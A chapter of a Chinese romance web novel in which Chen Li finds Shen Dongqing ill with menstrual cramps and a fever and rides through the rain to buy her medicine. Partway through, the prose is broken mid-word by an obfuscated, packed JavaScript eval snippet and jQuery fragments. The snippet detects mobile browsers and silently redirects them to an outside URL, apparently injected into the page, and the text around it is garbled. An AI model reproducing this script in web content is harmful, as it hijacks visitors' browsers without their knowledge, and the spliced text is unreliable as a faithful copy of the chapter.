15. 第 15 章(第2页)
尽管很不想承认,但心里却一直有个声音在不停告诉陈励:
他跟荣司岐的事,还没完。
*
晚上回家,沈冬青没有赶来给他开门。
虽然自己手里有钥匙,但不知为何,陈励推开门那刻,手上还是不自觉别扭了下。
家里没开灯,院子昏暗,静悄悄的。
“沈冬青?”
无人回应。
陈励开了院灯往屋里走,客厅也没人,学习桌上摊开的是沈冬青写到一半停下的试卷。
出门了吗?
陈励觉得奇怪。
但转念一想,她好像也没有跟自己报备行程的必要。
房东跟房客,租赁买卖关系儿而已。
这么想着,陈励又懒得管了,直接一头倒在沙发上,重重一声闷响。
天花板开始渐渐糊成一团。
陈励累了,现在的他只想闷头睡上一个整觉。
什么都不管,也什么都不想。
那些所谓的狗屁以后和未来,都等他睡醒之后再说吧。
时钟转动,声声轻响。
夜幕完全降临,雨花巷里不知道谁家又开始了吵吵闹闹。
陈励双手压在身前,躺得笔直。
从小他就这样,因为不知道陈永福什么时候会回来,也不知道他会在哪个瞬间气不顺了抓起他踹上两脚,所以哪怕是在家里睡觉,陈励都会紧紧绷着一根弦,不敢松。
陈励也没做过梦,或许是从没睡过一场真正的安稳觉,又或许是他所经历着的现实,让人除了想要努力生存下去以外,也没什么好幻想的。
时间就这样安安静静过去。
夜里十点,沈冬青是被身上一阵发热疼醒的。
沈冬青痛经,每次疼起来都是疼到直不起腰的那种。
以前沈兰都是喊她喝热水,说女人都这样,喝完热水躺床上睡一觉就好了。
这次也是,傍晚沈冬青来了月经后疼得几乎爬一样上楼想着睡着就好了,结果不仅痛经没好,好像还发烧了。
醒来时家里一片寂静,客
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129131|180202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厅亮着灯。
沈冬青有一瞬恍惚,但她真的已经疼到不记得自己上楼时有没有关灯了。
等人扶着栏杆下到一半时,她这才低头看到沙发上躺着的陈励。
沈冬青还没开口,陈励先醒了。
四目对视,彼此都被吓了一跳。
“你在家?”
“对不起,我睡着了。”
……
陈励有起床气,沈冬青一直记得。
所以在他继续发火前,沈冬青先一步道了歉。
陈励叉腰仰头,一脸无语,最后也只能瘪瘪嘴,把被人惊醒后的火气,以及对她开口就跟人道歉的毛病的嫌弃咽了下去。
“下不为例。”陈励立规矩。
沈冬青配合说:“好。”
等她终于慢吞吞从楼上下来,陈励这才看出她的不对劲。
额头挂着虚汗,本来就血色不多的脸蛋看起来也是苍白一片。
“什么情况?”陈励没忍住问。
沈冬青说:“我不太舒服。”
明明已经难受到走路都费劲了,结果眼神里还在强撑着微笑。
陈励突然更生气了。
什么讨好型人格。
陈励看着憋屈,直接拉她到沙发上坐下了问:“哪里不舒服?”
沈冬青咬了下嘴巴,不好意思说。
陈励垂眸,想了下说:“来那个了?”
“嗯。”沈冬青点头。
“吃药了吗?”
“没关系,喝点热水,睡一觉就好了。”
“沈冬青。”陈励都要被她气笑了,长吐一口气说:“你是不是脑子也跟着疼傻了。”
“不舒服就要吃药,喝水不等于喝药,懂吗?”
陈励说着突然开始朝她走近,沈冬青下意识往后一躲,点头说:“知道。”
像只受了惊的小猫。
陈励冷着脸,问:“还有没有哪里不舒服?”
沈冬青摇头。
陈励不管她,直接把手按她额头上,掌心烫得像个火炉。
“这就是你说的没有?”
沈冬青抿紧嘴巴,瞪圆了眼睛。
她还沉浸在刚才陈励突然靠近的惊慌里,以及,男生宽大又带着粗粝的手心触碰自己时带来一丝冰凉。
屋外突然一声雷鸣划破黑夜。
要下雨了。
路城的雨,总是来得令人猝不及防。
沈冬青想,就像陈励的突然靠近一样。
大雨彻底落下的时候,陈励披上雨衣出门了。
“陈励,我真的没关系。”沈冬青虚着脚步追上去扯住他衣角说,“下雨了。”
“下雨了就进去好好躺着,等我回来。”陈励说,“自己都是个病号,少操点心。”
摩托声很快消失在雨花巷的夜里。
陈励车子开得很快,雨水直直砸在护目镜上,一遍又一遍冲刷着眼前的视线。
城里二十四小时营业的药店不多,陈励要一直往城中心开去。
如果不是沈冬青这次突然生病,陈励也不会往家里买药。
说来好笑,刚才自己讲沈冬青的时候讲得理直气壮,但其实这些年,陈励生病难受都是一个人硬扛过来的。
小病不用管,大病管不了。
以前陈永福总是这样跟他说。
好在陈励体格好,从小也没生过什么大病,扛着扛着也就稀里糊涂长大了。
药店只有一个昏昏欲睡的中年女人在值班。
陈励带着一身水汽进来,惊醒了她即将入睡的梦。
“要什么?”
“痛经。”
陈励说得大大方方,女人愣了下。
“痛经。”陈励重复完又补充说,“还有发烧的症状。”
“体温多少?”
“没来得及量。”
女人转身走向身后一排药架上取了几盒药。
布洛芬。
红糖姜块。
“回去把这个吃了,这几天别受凉,尽量少碰冷水。”
陈励点头,然后又要了些感冒、肠胃不适的备用药一起结了带走。
回去的时候,雨还在不停下。
沈冬青一直在等陈励回来。听到巷子隐隐传来摩托声,她便迫不及待起身撑伞去给他开门了。
“不是让你在屋里等着吗?”
“已经没事了。”
陈励停好车,摘下头盔看到沈冬青一双笑眼在昏黄的灯光下闪着光。
雨水随风吹到伞下,沈冬青把伞举高了往前递了递,刚好遮住陈励。
两个人的头发都沾了雨水。
陈励接过伞,然后想也没想便伸手把她一把揽住搂紧了一起往阳台快步走去。
院子里的积水在缓缓往外流动。
雨伞上的水滴连成线,随着两人的脚步,落在地上,开出了花。